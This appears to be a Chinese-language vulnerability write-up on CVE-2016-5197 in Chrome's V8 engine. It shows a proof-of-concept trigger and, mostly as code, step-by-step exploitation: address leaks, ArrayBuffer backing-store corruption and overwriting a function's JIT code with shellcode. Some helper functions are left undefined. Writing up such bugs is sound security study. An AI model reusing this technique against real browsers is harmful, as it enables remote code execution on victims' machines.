CVE-2016-5197 OOB

February 13, 2019 · View on GitHub

参考

https://xz.aliyun.com/t/2889#toc-17 https://www.jianshu.com/p/0326d382f5f9 https://cansecwest.com/slides/2017/CSW2017_QidanHe-GengmingLiu_Pwning_Nexus_of_Every_Pixel.pdf

编译有问题的D8

https://bugs.chromium.org/p/chromium/issues/detail?id=659475

https://chromium.googlesource.com/v8/v8/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6

漏洞分析

var n;
function Ctor() {
  n = new Set();
}
function Check() {
  n.xyz = 0x826852f4;
}
Ctor();
Ctor();
%OptimizeFunctionOnNextCall(Ctor);
Ctor();
Check();
Check();
%OptimizeFunctionOnNextCall(Check);
Check();

Ctor();
%DebugPrint(n);
Math.atan(1);
Check();
%DebugPrint(n);
Math.atan(1);
parseInt('AAAAAAAA');

漏洞利用

Leak ArrayBuffer ab地址,function evil_fun地址

ab是后续存shellcode的,evil_fun是一个自定义函数,我们希望修改function的CodeEntry为shellcode地址,从而控制EIP

function evil_fun(a, b) {
    return a + b;
}

function Check(obj) {
   n.xyz = 3.4766863919152113e-308; // do not modify string map
   n.xyz1 = 0x0; // do not modify the value
   n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
   n.xyz3 = obj; // leak the Object 
   
}
Check(String(null));
Check(String(null));
%OptimizeFunctionOnNextCall(Check);
Check(String(null));

Ctor();
Check(ab);
ab_addr = read_value();
print("ArrayBuffer: " + ab_addr.toString(16));

Check(evil_fun);
var evil_fun_addr = read_value();
print("evil_fun: " + evil_fun_addr.toString(16));

将null string的地址写到其value处

Check(String(null));
null_string_addr = read_value();
print("null string: " + null_string_addr.toString(16));

修改null string hashcode处为ab length的地址

现在如果对xyz3赋值一个un-smi数, 它会把null_string_addr作为一个指针,实际操作的是null_string_addr指向的内存

这里需要重新触发漏洞,我理解是之前n.xyz3赋值都是直接赋值,现在需要间接赋值,两者生成的优化后JIT Code不一样

ab_len_addr = decode_from_float64(get_arraybuffer_length_addr(ab_addr));
function Check2(addr){
    m.xyz = 3.4766863919152113e-308;    
    m.xyz1 = 0x0; 
    m.xyz2 = 0x7000; 
    m.xyz3 = addr; 

}
Check2(ab_len_addr);
Check2(ab_len_addr);
%OptimizeFunctionOnNextCall(Check2);
Check2(ab_len_addr);

Ctor();
Check2(ab_len_addr);

修改ab的backing store地址为evil_func地址

经过上面一步,ab_len_addr位于null string hashcode处,对xy1赋值会把ab_len_addr当作一个指针,实际会写入[ab_len_addr+8],也就修改了ab的backing store地址

同理,这里也需要重新触发漏洞

var temp = decode_from_float64(evil_fun_addr - 1);
function Check3(addr){
    l.xyz = 3.4766863919152113e-308;  
    l.xyz1 = addr;             
}

Check3(temp);
Check3(temp);
%OptimizeFunctionOnNextCall(Check3);
Check3(temp);

到了这一步,操作ab就等于操作evil_func! 通过ab,我们能读到evil_func的CodeEntry(第7个指针)

function get_codeEntry() {
    if(platform == "x86") {
        f64 = new Uint32Array(ab);
        return decode_from_float64(f64[7]);
    }
    else {
        f64 = new Float64Array(ab);
        return f64[7];
    }
    
}
Ctor();
Check3(temp);
var shellcode_entry = get_codeEntry();

修改ab的backing store地址为shellcode_entry

Check3(shellcode_entry);

写入shellcode, call evil_func

通过上一步,操作ab就是修改evil_func的JIT Code; 我们将shellcode写入,再call evil_func

var shellcode = new Uint8Array(ab);
for (var i=0, strLen=shellcode_str.length; i<strLen; i++) {
    shellcode[i] = shellcode_str.charCodeAt(i);
}

print(evil_fun(1,2));

Bingo!